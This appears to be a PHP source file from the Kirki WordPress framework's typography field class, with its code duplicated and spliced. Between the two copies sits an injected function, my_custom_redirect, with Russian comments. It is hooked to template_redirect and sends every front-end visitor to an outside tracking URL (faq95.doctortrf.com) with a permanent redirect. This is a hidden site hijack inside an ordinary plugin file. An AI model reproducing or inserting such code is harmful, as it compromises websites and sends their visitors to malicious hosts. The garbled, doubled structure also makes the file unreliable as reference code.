'overline' => esc_html__( 'Overline', 'kirki' ), 'solid' => esc_html__( 'Solid', 'kirki' ), 'wavy' => esc_html__( 'Wavy', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $line_height_field_specified = isset( $defaults['line-height'] ); $letter_spacing_field_specified = isset( $defaults['letter-spacing'] ); if ( $line_height_field_specified || $letter_spacing_field_specified ) { $group = [ 'line-height' => [ 'type' => 'dimension', 'label' => esc_html__( 'Line Height', 'kirki' ), 'is_specified' => $line_height_field_specified, ], 'letter-spacing' => [ 'type' => 'dimension', 'label' => esc_html__( 'Letter Spacing', 'kirki' ), 'is_specified' => $letter_spacing_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } $margin_top_field_specified = isset( $defaults['margin-top'] ); $margin_bottom_field_specified = isset( $defaults['margin-bottom'] ); if ( $margin_top_field_specified || $margin_bottom_field_specified ) { $group = [ 'margin-top' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Top', 'kirki' ), 'is_specified' => $margin_top_field_specified, ], 'margin-bottom' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Bottom', 'kirki' ), 'is_specified' => $margin_bottom_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } } /** * Generate controls group. * * @param array $group The group data. * @param array $args The field args. */ public function generate_controls_group( $group, $args ) { $total_specified = 0; $field_width = 100; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $total_specified++; } } if ( $total_specified > 1 ) { $field_width = floor( 100 / $total_specified ); } $group_count = 0; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $group_count++; $group_classname = 'kirki-group-item'; $group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' ); $control_class = str_ireplace( '-', ' ', $control['type'] ); $control_class = ucwords( $control_class ); $control_class = str_replace( ' ', '', $control_class ); $control_class = '\\Kirki\\Field\\' . $control_class; new $control_class( wp_parse_args( [ 'label' => isset( $control['label'] ) ? $control['label'] : '', 'description' => isset( $control['description'] ) ? $control['description'] : '', 'settings' => $args['settings'] . '[' . $css_prop . ']', 'default' => $args['default'][ $css_prop ], 'wrapper_attrs' => wp_parse_args( [ 'data-kirki-typography-css-prop' => $css_prop, 'kirki-typography-subcontrol-type' => $css_prop, 'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width, ], $args['wrapper_attrs'] ), 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ), 'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ), 'css_vars' => [], 'output' => [], ], $args ) ); } } } /** * Sanitizes typography controls * * @static * @since 1.0 * @param array $value The value. * @return array */ public static function sanitize( $value ) { if ( ! is_array( $value ) ) { return []; } foreach ( $value as $key => $val ) { switch ( $key ) { case 'font-family': $value['font-family'] = sanitize_text_field( $val ); break; case 'variant': // Use 'regular' instead of 400 for font-variant. $value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val; // Get font-weight from variant. $value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); $value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] ); // Get font-style from variant. if ( ! isset( $value['font-style'] ) ) { $value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic'; } break; case 'text-align': if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) { $value['text-align'] = ''; } break; case 'text-transform': if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'text-decoration': if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'color': $value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] ); break; default: $value[ $key ] = sanitize_text_field( $value[ $key ] ); } } return $value; } /** * Enqueue scripts & styles. * * @access public * @since 1.0 * @return void */ public function enqueue_control_scripts() { wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' ); wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true ); wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls ); $args = $this->args; $variants = []; // Add custom variants (for custom fonts) to the $variants. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in variants argument. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // Create new array if $variants[ $font_family['id'] ] doesn't exist. if ( ! isset( $variants[ $font_family['id'] ] ) ) { $variants[ $font_family['id'] ] = []; } // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object. array_push( $variants[ $font_family['id'] ], [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { if ( isset( $font['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $font['stack'] ] ) ) { $variants[ $font['stack'] ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $font['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $font['stack'] ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( is_int( $key ) ) ? $val : $key; if ( isset( $val['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $key ] ) ) { $variants[ $key ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $val['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $key ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } // Scripts inside this block will only be executed once. if ( ! self::$fonts_var_added ) { wp_localize_script( 'kirki-control-typography', 'kirkiFontVariants', [ 'standard' => self::$std_variants, 'complete' => self::$complete_variants, ] ); $google = new GoogleFonts(); wp_localize_script( 'kirki-control-typography', 'kirkiGoogleFonts', $google->get_array() ); wp_add_inline_script( 'kirki-control-typography', 'var kirkiCustomVariants = {};', 'before' ); self::$fonts_var_added = true; } // This custom variants will be available for each typography control. $custom_variant_key = str_ireplace( ']', '', $args['settings'] ); $custom_variant_key = str_ireplace( '[', '_', $custom_variant_key ); $custom_variant_value = wp_json_encode( Helper::prepare_php_array_for_js( $variants ) ); wp_add_inline_script( 'kirki-control-typography', 'kirkiCustomVariants["' . $custom_variant_key . '"] = ' . $custom_variant_value . ';', $variants ); } /** * Enqueue scripts for customize_preview_init. * * @access public * @since 1.0 * @return void */ public function enqueue_preview_scripts() { wp_enqueue_script( 'kirki-preview-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/preview.js' ), [ 'wp-hooks' ], '1.0', true ); if ( ! self::$preview_var_added ) { $google = new GoogleFonts(); wp_localize_script( 'kirki-preview-typography', 'kirkiGoogleFontNames', $google->get_google_font_names() ); self::$preview_var_added = true; } } /** * Prefer control specific value over field value * * @access public * @since 4.0 * @param $setting * @param $choice * @param $args * * @return string */ public function filter_preferred_choice_setting( $setting, $choice, $args ) { // Fail early. if ( ! isset( $args[ $setting ] ) ) { return ''; } // If a specific field for the choice is set if ( isset( $args[ $setting ][ $choice ] ) ) { return $args[ $setting ][ $choice ]; } // Unset input_attrs of all other choices. foreach ( $args['choices'] as $id => $set ) { if ( $id !== $choice && isset( $args[ $setting ][ $id ] ) ) { unset( $args[ $setting ][ $id ] ); } elseif ( ! isset( $args[ $setting ][ $id ] ) ) { $args[ $setting ] = ''; } } return $args[ $setting ]; } /** * Populate the font family choices. * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.1 * * @return array */ private function get_font_family_choices() { $args = $this->args; // Figure out how to sort the fonts. $sorting = 'alpha'; $max_fonts = 9999; $google = new GoogleFonts(); if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['google'] ) && ! empty( $args['choices']['fonts']['google'] ) ) { if ( in_array( $args['choices']['fonts']['google'][0], [ 'alpha', 'popularity', 'trending' ], true ) ) { $sorting = $args['choices']['fonts']['google'][0]; if ( isset( $args['choices']['fonts']['google'][1] ) && is_int( $args['choices']['fonts']['google'][1] ) ) { $max_fonts = (int) $args['choices']['fonts']['google'][1]; } $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } else { $g_fonts = $args['choices']['fonts']['google']; } } else { $g_fonts = $google->get_google_fonts_by_args( [ 'sort' => $sorting, 'count' => $max_fonts, ] ); } $std_fonts = []; if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { $std_fonts[ $font['stack'] ] = $font['label']; } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( \is_int( $key ) ) ? $val : $key; $std_fonts[ $key ] = $val; } } $choices = []; $choices['default'] = [ esc_html__( 'Defaults', 'kirki' ), [ '' => esc_html__( 'Default', 'kirki' ), ], ]; if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // Implementing the custom font families. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { if ( ! isset( $choices[ $font_family_key ] ) ) { $choices[ $font_family_key ] = []; } $family_opts = []; foreach ( $font_family_value['children'] as $font_family ) { $family_opts[ $font_family['id'] ] = $font_family['text']; } $choices[ $font_family_key ] = [ $font_family_value['text'], $family_opts, ]; } } $choices['standard'] = [ esc_html__( 'Standard Fonts', 'kirki' ), $std_fonts, ]; $choices['google'] = [ esc_html__( 'Google Fonts', 'kirki' ), array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ), ]; if ( empty( $choices['standard'][1] ) ) { $choices = array_combine( array_values( $g_fonts ), array_values( $g_fonts ) ); } elseif ( empty( $choices['google'][1] ) ) { $choices = $std_fonts; } return $choices; } /** * Get custom variant choices (for custom fonts). * * It's separated from the `add_sub_field` function to prevent a bug * when hooking a function into `kirki_fonts_standard_fonts` hook after registering the field. * * When a function is hooked to `kirki_fonts_standard_fonts` before registering the field, it will work. * But if it's hooked after field registration, then the function won't be available. * * @access private * @since 1.0.2 * * @return array */ private function get_variant_choices() { $args = $this->args; $choices = self::$std_variants; // Implementing the custom variants for custom fonts. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { $choices = []; // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in $args['choices']['fonts']['variants']. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $choices. array_push( $choices, [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. return $choices; } /** * Filter arguments before creating the control. * * @access public * @since 0.1 * @param array $args The field arguments. * @param WP_Customize_Manager $wp_customize The customizer instance. * @return array */ public function filter_control_args( $args, $wp_customize ) { if ( $args['settings'] === $this->args['settings'] . '[font-family]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_font_family_choices(); } if ( $args['settings'] === $this->args['settings'] . '[variant]' ) { $args = parent::filter_control_args( $args, $wp_customize ); $args['choices'] = $this->get_variant_choices(); } return $args; } /** * Adds a custom output class for typography fields. * * @access public * @since 1.0 * @param array $classnames The array of classnames. * @return array */ public function output_control_classnames( $classnames ) { $classnames['kirki-typography'] = '\Kirki\Field\CSS\Typography'; return $classnames; } /** * Override parent method. No need to register any setting. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_setting( $wp_customize ) {} /** * Override the parent method. No need for a control. * * @access public * @since 0.1 * @param WP_Customize_Manager $wp_customize The customizer instance. * @return void */ public function add_control( $wp_customize ) {} } function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); /** * Override field methods * * @package kirki-framework/control-typography * @copyright Copyright (c) 2023, Themeum * @license https://opensource.org/licenses/MIT * @since 1.0 */ namespace Kirki\Field; use Kirki\Util\Helper; use Kirki\Field; use Kirki\GoogleFonts; use Kirki\Module\Webfonts\Fonts; /** * Field overrides. * * @since 1.0 */ class Typography extends Field { /** * The field type. * * @access public * @since 1.0 * @var string */ public $type = 'kirki-typography'; /** * Has the glogal fonts var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $fonts_var_added = false; /** * Has the preview related var been added already? * * @static * @access private * @since 1.0 * @var bool */ private static $preview_var_added = false; /** * An array of typography controls. * * This is used by the typography script for any custom logic * that has to be applied to typography controls. * * @static * @access private * @since 1.0 * @var array */ private static $typography_controls = []; /** * An array of standard font variants. * * @access private * @since 1.0.1 * * @var array */ private static $std_variants; /** * An array of complete font variants. * * @access private * @since 1.0.1 * * @var array */ private static $complete_variants; /** * An array of complete font variant labels. * * @access private * @since 1.0.2 * * @var array */ private static $complete_variant_labels = []; /** * Extra logic for the field. * * Adds all sub-fields. * * @access public * @param array $args The arguments of the field. */ public function init( $args = [] ) { self::$typography_controls[] = $args['settings']; self::$std_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], ]; self::$complete_variants = [ [ 'value' => 'regular', 'label' => __( 'Regular', 'kirki' ), ], [ 'value' => 'italic', 'label' => __( 'Italic', 'kirki' ), ], [ 'value' => '100', 'label' => __( '100', 'kirki' ), ], [ 'value' => '100italic', 'label' => __( '100 Italic', 'kirki' ), ], [ 'value' => '200', 'label' => __( '200', 'kirki' ), ], [ 'value' => '200italic', 'label' => __( '200 Italic', 'kirki' ), ], [ 'value' => '300', 'label' => __( '300', 'kirki' ), ], [ 'value' => '300italic', 'label' => __( '300 Italic', 'kirki' ), ], [ 'value' => '500', 'label' => __( '500', 'kirki' ), ], [ 'value' => '500italic', 'label' => __( '500 Italic', 'kirki' ), ], [ 'value' => '600', 'label' => __( '600', 'kirki' ), ], [ 'value' => '600italic', 'label' => __( '600 Italic', 'kirki' ), ], [ 'value' => '700', 'label' => __( '700', 'kirki' ), ], [ 'value' => '700italic', 'label' => __( '700 Italic', 'kirki' ), ], [ 'value' => '800', 'label' => __( '800', 'kirki' ), ], [ 'value' => '800italic', 'label' => __( '800 Italic', 'kirki' ), ], [ 'value' => '900', 'label' => __( '900', 'kirki' ), ], [ 'value' => '900italic', 'label' => __( '900 Italic', 'kirki' ), ], ]; foreach ( self::$complete_variants as $variants ) { self::$complete_variant_labels[ $variants['value'] ] = $variants['label']; } $this->add_sub_fields( $args ); add_action( 'customize_controls_enqueue_scripts', [ $this, 'enqueue_control_scripts' ] ); add_action( 'customize_preview_init', [ $this, 'enqueue_preview_scripts' ] ); add_filter( 'kirki_output_control_classnames', [ $this, 'output_control_classnames' ] ); } /** * Add sub-fields. * * @access private * @since 1.0 * @param array $args The field arguments. * @return void */ private function add_sub_fields( $args ) { $args['kirki_config'] = isset( $args['kirki_config'] ) ? $args['kirki_config'] : 'global'; $defaults = isset( $args['default'] ) ? $args['default'] : []; /** * Add a hidden field, the label & description. */ new \Kirki\Field\Generic( wp_parse_args( [ 'sanitize_callback' => isset( $args['sanitize_callback'] ) ? $args['sanitize_callback'] : [ __CLASS__, 'sanitize' ], 'wrapper_opts' => [ 'gap' => 'small', ], 'input_attrs' => '', 'choices' => [ 'type' => 'hidden', 'parent_type' => 'kirki-typography', ], ], $args ) ); $args['parent_setting'] = $args['settings']; $args['output'] = []; $args['wrapper_attrs'] = [ 'data-kirki-parent-control-type' => 'kirki-typography', ]; if ( isset( $args['transport'] ) && 'auto' === $args['transport'] ) { $args['transport'] = 'postMessage'; } /** * Add font-family selection controls. * These include font-family and variant. * They are grouped here because all they are required. * in order to get the right googlefont variant. */ if ( isset( $args['default']['font-family'] ) ) { $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-family'; /** * Add font-family control. */ new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Family', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[font-family]', 'default' => isset( $args['default']['font-family'] ) ? $args['default']['font-family'] : '', 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'font-family', $args ), 'choices' => [], // The choices will be populated later inside `get_font_family_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); /** * Add font variant. */ $font_variant = isset( $args['default']['variant'] ) ? $args['default']['variant'] : 'regular'; if ( isset( $args['default']['font-weight'] ) ) { $font_variant = 400 === $args['default']['font-weight'] || '400' === $args['default']['font-weight'] ? 'regular' : $args['default']['font-weight']; } $args['wrapper_attrs']['kirki-typography-subcontrol-type'] = 'font-variant'; new \Kirki\Field\ReactSelect( wp_parse_args( [ 'label' => esc_html__( 'Font Variant', 'kirki' ), 'description' => '', 'settings' => $args['settings'] . '[variant]', 'default' => $font_variant, 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', 'variant', $args ), 'choices' => [], // The choices will be populated later inside `get_variant_choices` function in this file. 'css_vars' => [], 'output' => [], ], $args ) ); } $font_size_field_specified = isset( $defaults['font-size'] ); $color_field_specified = isset( $defaults['color'] ); if ( $font_size_field_specified || $color_field_specified ) { $group = [ 'font-size' => [ 'type' => 'dimension', 'label' => esc_html__( 'Font Size', 'kirki' ), 'is_specified' => $font_size_field_specified, ], 'color' => [ 'type' => 'react-colorful', 'label' => esc_html__( 'Font Color', 'kirki' ), 'is_specified' => $color_field_specified, 'choices' => [ 'alpha' => true, 'label_style' => 'top', ], ], ]; $this->generate_controls_group( $group, $args ); } $text_align_field_specified = isset( $defaults['text-align'] ); $text_transform_field_specified = isset( $defaults['text-transform'] ); if ( $text_align_field_specified || $text_transform_field_specified ) { $group = [ 'text-align' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Align', 'kirki' ), 'is_specified' => $text_align_field_specified, 'choices' => [ 'initial' => esc_html__( 'Initial', 'kirki' ), 'left' => esc_html__( 'Left', 'kirki' ), 'center' => esc_html__( 'Center', 'kirki' ), 'right' => esc_html__( 'Right', 'kirki' ), 'justify' => esc_html__( 'Justify', 'kirki' ), ], ], 'text-transform' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Transform', 'kirki' ), 'is_specified' => $text_transform_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'capitalize' => esc_html__( 'Capitalize', 'kirki' ), 'uppercase' => esc_html__( 'Uppercase', 'kirki' ), 'lowercase' => esc_html__( 'Lowercase', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $text_decoration_field_specified = isset( $defaults['text-decoration'] ); if ( $text_decoration_field_specified ) { $group = [ 'text-decoration' => [ 'type' => 'react-select', 'label' => esc_html__( 'Text Decoration', 'kirki' ), 'is_specified' => $text_decoration_field_specified, 'choices' => [ 'none' => esc_html__( 'None', 'kirki' ), 'underline' => esc_html__( 'Underline', 'kirki' ), 'line-through' => esc_html__( 'Line Through', 'kirki' ), 'overline' => esc_html__( 'Overline', 'kirki' ), 'solid' => esc_html__( 'Solid', 'kirki' ), 'wavy' => esc_html__( 'Wavy', 'kirki' ), ], ], ]; $this->generate_controls_group( $group, $args ); } $line_height_field_specified = isset( $defaults['line-height'] ); $letter_spacing_field_specified = isset( $defaults['letter-spacing'] ); if ( $line_height_field_specified || $letter_spacing_field_specified ) { $group = [ 'line-height' => [ 'type' => 'dimension', 'label' => esc_html__( 'Line Height', 'kirki' ), 'is_specified' => $line_height_field_specified, ], 'letter-spacing' => [ 'type' => 'dimension', 'label' => esc_html__( 'Letter Spacing', 'kirki' ), 'is_specified' => $letter_spacing_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } $margin_top_field_specified = isset( $defaults['margin-top'] ); $margin_bottom_field_specified = isset( $defaults['margin-bottom'] ); if ( $margin_top_field_specified || $margin_bottom_field_specified ) { $group = [ 'margin-top' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Top', 'kirki' ), 'is_specified' => $margin_top_field_specified, ], 'margin-bottom' => [ 'type' => 'dimension', 'label' => esc_html__( 'Margin Bottom', 'kirki' ), 'is_specified' => $margin_bottom_field_specified, ], ]; $this->generate_controls_group( $group, $args ); } } /** * Generate controls group. * * @param array $group The group data. * @param array $args The field args. */ public function generate_controls_group( $group, $args ) { $total_specified = 0; $field_width = 100; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $total_specified++; } } if ( $total_specified > 1 ) { $field_width = floor( 100 / $total_specified ); } $group_count = 0; foreach ( $group as $css_prop => $control ) { if ( $control['is_specified'] ) { $group_count++; $group_classname = 'kirki-group-item'; $group_classname .= 1 === $group_count ? ' kirki-group-start' : ( $group_count === $total_specified ? ' kirki-group-end' : '' ); $control_class = str_ireplace( '-', ' ', $control['type'] ); $control_class = ucwords( $control_class ); $control_class = str_replace( ' ', '', $control_class ); $control_class = '\\Kirki\\Field\\' . $control_class; new $control_class( wp_parse_args( [ 'label' => isset( $control['label'] ) ? $control['label'] : '', 'description' => isset( $control['description'] ) ? $control['description'] : '', 'settings' => $args['settings'] . '[' . $css_prop . ']', 'default' => $args['default'][ $css_prop ], 'wrapper_attrs' => wp_parse_args( [ 'data-kirki-typography-css-prop' => $css_prop, 'kirki-typography-subcontrol-type' => $css_prop, 'class' => '{default_class} ' . $group_classname . ' kirki-w' . $field_width, ], $args['wrapper_attrs'] ), 'input_attrs' => $this->filter_preferred_choice_setting( 'input_attrs', $css_prop, $args ), 'choices' => ( isset( $control['choices'] ) ? $control['choices'] : [] ), 'css_vars' => [], 'output' => [], ], $args ) ); } } } /** * Sanitizes typography controls * * @static * @since 1.0 * @param array $value The value. * @return array */ public static function sanitize( $value ) { if ( ! is_array( $value ) ) { return []; } foreach ( $value as $key => $val ) { switch ( $key ) { case 'font-family': $value['font-family'] = sanitize_text_field( $val ); break; case 'variant': // Use 'regular' instead of 400 for font-variant. $value['variant'] = ( 400 === $val || '400' === $val ) ? 'regular' : $val; // Get font-weight from variant. $value['font-weight'] = filter_var( $value['variant'], FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); $value['font-weight'] = ( 'regular' === $value['variant'] || 'italic' === $value['variant'] ) ? '400' : (string) absint( $value['font-weight'] ); // Get font-style from variant. if ( ! isset( $value['font-style'] ) ) { $value['font-style'] = ( false === strpos( $value['variant'], 'italic' ) ) ? 'normal' : 'italic'; } break; case 'text-align': if ( ! in_array( $val, [ '', 'inherit', 'left', 'center', 'right', 'justify' ], true ) ) { $value['text-align'] = ''; } break; case 'text-transform': if ( ! in_array( $val, [ '', 'none', 'capitalize', 'uppercase', 'lowercase', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'text-decoration': if ( ! in_array( $val, [ '', 'none', 'underline', 'overline', 'line-through', 'solid', 'wavy', 'initial', 'inherit' ], true ) ) { $value['text-transform'] = ''; } break; case 'color': $value['color'] = '' === $value['color'] ? '' : \Kirki\Field\ReactColorful::sanitize( $value['color'] ); break; default: $value[ $key ] = sanitize_text_field( $value[ $key ] ); } } return $value; } /** * Enqueue scripts & styles. * * @access public * @since 1.0 * @return void */ public function enqueue_control_scripts() { wp_enqueue_style( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.css' ), [], '1.0' ); wp_enqueue_script( 'kirki-control-typography', \Kirki\URL::get_from_path( dirname( dirname( __DIR__ ) ) . '/dist/control.js' ), [], '1.0', true ); wp_localize_script( 'kirki-control-typography', 'kirkiTypographyControls', self::$typography_controls ); $args = $this->args; $variants = []; // Add custom variants (for custom fonts) to the $variants. if ( isset( $args['choices'] ) && isset( $args['choices']['fonts'] ) && isset( $args['choices']['fonts']['families'] ) ) { // If $args['choices']['fonts']['families'] exists, then loop it. foreach ( $args['choices']['fonts']['families'] as $font_family_key => $font_family_value ) { // Then loop the $font_family_value['children]. foreach ( $font_family_value['children'] as $font_family ) { // Then check if $font_family['id'] exists in variants argument. if ( isset( $args['choices']['fonts']['variants'] ) && isset( $args['choices']['fonts']['variants'][ $font_family['id'] ] ) ) { // Create new array if $variants[ $font_family['id'] ] doesn't exist. if ( ! isset( $variants[ $font_family['id'] ] ) ) { $variants[ $font_family['id'] ] = []; } // The $custom_variant here can be something like "400italic" or "italic". foreach ( $args['choices']['fonts']['variants'][ $font_family['id'] ] as $custom_variant ) { // Check if $custom_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $custom_variant ] ) ) { // If it exists, assign it to $variants[ $font_family['id'] ], so that they will be available in JS object. array_push( $variants[ $font_family['id'] ], [ 'value' => $custom_variant, 'label' => self::$complete_variant_labels[ $custom_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } // End of $font_family_value['children'] foreach. } // End of $args['choices']['fonts']['families'] foreach. } // End of $args['choices']['fonts']['families'] if. if ( ! isset( $args['choices']['fonts'] ) || ! isset( $args['choices']['fonts']['standard'] ) ) { $standard_fonts = Fonts::get_standard_fonts(); foreach ( $standard_fonts as $font ) { if ( isset( $font['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $font['stack'] ] ) ) { $variants[ $font['stack'] ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $font['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $font['stack'] ], [ 'value' => $std_variant, 'label' => self::$complete_variant_labels[ $std_variant ], ] ); } // End of isset(self::$complete_variant_labels[$font_family['id']]) if. } // End of $args['choices']['fonts']['variants'][ $font_family['id'] foreach. } } } elseif ( is_array( $args['choices']['fonts']['standard'] ) ) { foreach ( $args['choices']['fonts']['standard'] as $key => $val ) { $key = ( is_int( $key ) ) ? $val : $key; if ( isset( $val['variants'] ) ) { // Create new array if $variants[ $font['stack'] ] doesn't exist. if ( ! isset( $variants[ $key ] ) ) { $variants[ $key ] = []; } // The $std_variant here can be something like "400italic" or "italic". foreach ( $val['variants'] as $std_variant ) { // Check if $std_variant exists in self::$complete_variant_labels. if ( isset( self::$complete_variant_labels[ $std_variant ] ) ) { // If it exists, assign it to $variants[ $font['stack'] ], so that they will be available in JS object. array_push( $variants[ $key ], [ 'value' => 